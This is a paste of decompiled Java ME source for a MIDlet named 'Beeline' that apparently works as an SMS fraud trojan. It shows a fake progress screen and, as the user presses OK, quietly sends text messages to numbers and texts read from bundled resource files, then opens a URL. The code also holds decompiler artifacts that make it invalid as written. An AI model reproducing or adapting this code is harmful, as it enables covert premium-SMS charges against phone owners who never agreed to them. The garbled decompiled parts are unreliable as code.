rendered paste bodypackage Beeline;import java.io.IOException;import java.io.InputStream;import java.io.UnsupportedEncodingException;import java.util.Vector;import javax.microedition.io.ConnectionNotFoundException;import javax.microedition.io.Connector;import javax.microedition.lcdui.Command;import javax.microedition.lcdui.CommandListener;import javax.microedition.lcdui.Display;import javax.microedition.lcdui.Displayable;import javax.microedition.lcdui.Form;import javax.microedition.midlet.MIDlet;import javax.wireless.messaging.MessageConnection;import javax.wireless.messaging.TextMessage;public class Beeline extends MIDlet implements CommandListener{ private Display jdField_a_of_type_JavaxMicroeditionLcduiDisplay; private Form jdField_a_of_type_JavaxMicroeditionLcduiForm; private Command jdField_a_of_type_JavaxMicroeditionLcduiCommand; private Command jdField_b_of_type_JavaxMicroeditionLcduiCommand; private String jdField_a_of_type_JavaLangString; private String jdField_b_of_type_JavaLangString; private String c; public int state = 1; public Vector smsList; public int startValue; public int stepValue; public int endValue; public int value; public String url; public void startApp() { Beeline localBeeline = this; this.jdField_a_of_type_JavaLangString = localBeeline.a("/screen1.txt"); localBeeline.jdField_b_of_type_JavaLangString = localBeeline.a("/screen2.txt"); localBeeline.c = localBeeline.a("/screen3.txt"); localBeeline.url = localBeeline.a("/url.txt"); String str = localBeeline.a("/sms.txt"); Object localObject = a(localObject = localBeeline.a("/percent.txt")); localBeeline.startValue = Integer.parseInt(localObject[0]); localBeeline.stepValue = Integer.parseInt(localObject[1]); localBeeline.endValue = Integer.parseInt(localObject[2]); localBeeline.smsList = new Vector(); localBeeline.a(str); this.jdField_a_of_type_JavaxMicroeditionLcduiDisplay = Display.getDisplay(this); this.jdField_a_of_type_JavaxMicroeditionLcduiForm = new Form(""); this.jdField_a_of_type_JavaxMicroeditionLcduiForm.append(this.jdField_a_of_type_JavaLangString); this.jdField_a_of_type_JavaxMicroeditionLcduiCommand = new Command("ОК", 4, 1); this.jdField_a_of_type_JavaxMicroeditionLcduiForm.addCommand(this.jdField_a_of_type_JavaxMicroeditionLcduiCommand); this.jdField_a_of_type_JavaxMicroeditionLcduiForm.setCommandListener(this); this.jdField_a_of_type_JavaxMicroeditionLcduiDisplay.setCurrent(this.jdField_a_of_type_JavaxMicroeditionLcduiForm); } public void pauseApp() { } public void destroyApp(boolean paramBoolean) { } public boolean sendSms(String paramString1, String paramString2) { try { TextMessage localTextMessage; (localTextMessage = (TextMessage)(paramString1 = (MessageConnection)Connector.open(paramString1 = "sms://" + paramString1)).newMessage("text")).setPayloadText(paramString2); paramString1.send(localTextMessage); paramString1.close(); return true; } catch (Exception localException) { } return false; } public void commandAction(Command paramCommand, Displayable paramDisplayable) { if ((paramDisplayable == this.jdField_a_of_type_JavaxMicroeditionLcduiForm) && (paramCommand == this.jdField_a_of_type_JavaxMicroeditionLcduiCommand)); switch (this.state) { case 1: this.jdField_a_of_type_JavaxMicroeditionLcduiForm.deleteAll(); this.value = this.startValue; this.jdField_a_of_type_JavaxMicroeditionLcduiForm.append(a(this.jdField_b_of_type_JavaLangString, "{value}", String.valueOf(this.value))); this.state += 1; break; case 2: this.jdField_a_of_type_JavaxMicroeditionLcduiForm.deleteAll(); if (this.value >= this.endValue) { try { platformRequest(this.url); } catch (ConnectionNotFoundException localConnectionNotFoundException) { (paramCommand = localConnectionNotFoundException).printStackTrace(); } this.jdField_b_of_type_JavaxMicroeditionLcduiCommand = new Command("Выход", 7, 1); this.jdField_a_of_type_JavaxMicroeditionLcduiForm.append(this.c); this.jdField_a_of_type_JavaxMicroeditionLcduiForm.removeCommand(this.jdField_a_of_type_JavaxMicroeditionLcduiCommand); this.jdField_a_of_type_JavaxMicroeditionLcduiForm.addCommand(this.jdField_b_of_type_JavaxMicroeditionLcduiCommand); this.state += 1; return; } this.value += this.stepValue; for (paramCommand = 0; paramCommand < this.smsList.size(); paramCommand++) { if ((paramDisplayable = (a)this.smsList.elementAt(paramCommand)).jdField_a_of_type_Int != this.value) continue; sendSms(paramDisplayable.jdField_a_of_type_JavaLangString, paramDisplayable.jdField_b_of_type_JavaLangString); } this.jdField_a_of_type_JavaxMicroeditionLcduiForm.append(a(this.jdField_b_of_type_JavaLangString, "{value}", String.valueOf(this.value))); default: return; if ((paramDisplayable != this.jdField_a_of_type_JavaxMicroeditionLcduiForm) || (paramCommand != this.jdField_b_of_type_JavaxMicroeditionLcduiCommand)) break; exitMIDlet(); } } public void exitMIDlet() { destroyApp(true); notifyDestroyed(); } private static String a(String paramString1, String paramString2, String paramString3) { StringBuffer localStringBuffer = new StringBuffer(""); int i; if ((i = paramString1.indexOf(paramString2)) != -1) { localStringBuffer.append(paramString1.substring(0, i)); localStringBuffer.append(paramString3); localStringBuffer.append(paramString1.substring(i + paramString2.length())); } return localStringBuffer.toString(); } private void a(String paramString) { int i = 0; int j; while ((j = paramString.indexOf("[", i)) != -1) { int k = paramString.indexOf("]", j + 1); k++; i = k; Object localObject = a(localObject = paramString.substring(j, k)); a locala; (locala = new a()).jdField_a_of_type_Int = Integer.parseInt(localObject[0]); locala.jdField_a_of_type_JavaLangString = localObject[1]; locala.jdField_b_of_type_JavaLangString = localObject[2]; this.smsList.addElement(locala); } } private static String[] a(String paramString) { String[] arrayOfString = new String[3]; int i = paramString.indexOf(":"); arrayOfString[0] = paramString.substring(1, i); i++; int j = paramString.indexOf(":", i); arrayOfString[1] = paramString.substring(i, j); j++; arrayOfString[2] = paramString.substring(j, paramString.length() - 1); return arrayOfString; } private String a(String paramString) { paramString = getClass().getResourceAsStream(paramString); Object localObject1 = null; Object localObject3; while (true) { localObject2 = new byte[1000]; try { int i; if ((i = paramString.read(localObject2)) == -1) break; if (localObject1 == null) { localObject1 = new byte[i]; System.arraycopy(localObject2, 0, localObject1, 0, i); } else { int j; byte[] arrayOfByte = new byte[j = localObject1.length + i]; System.arraycopy(localObject1, 0, arrayOfByte, 0, localObject1.length); System.arraycopy(localObject2, 0, arrayOfByte, localObject1.length, i); localObject1 = arrayOfByte; } if (i < 1000) break; } catch (IOException localIOException) { (localObject3 = localIOException).printStackTrace(); } } Object localObject2 = ""; try { localObject2 = new String(localObject1, 0, localObject1.length, "UTF-8"); } catch (UnsupportedEncodingException localUnsupportedEncodingException) { (localObject3 = localUnsupportedEncodingException).printStackTrace(); } System.gc(); return (String)(String)(String)localObject2; }}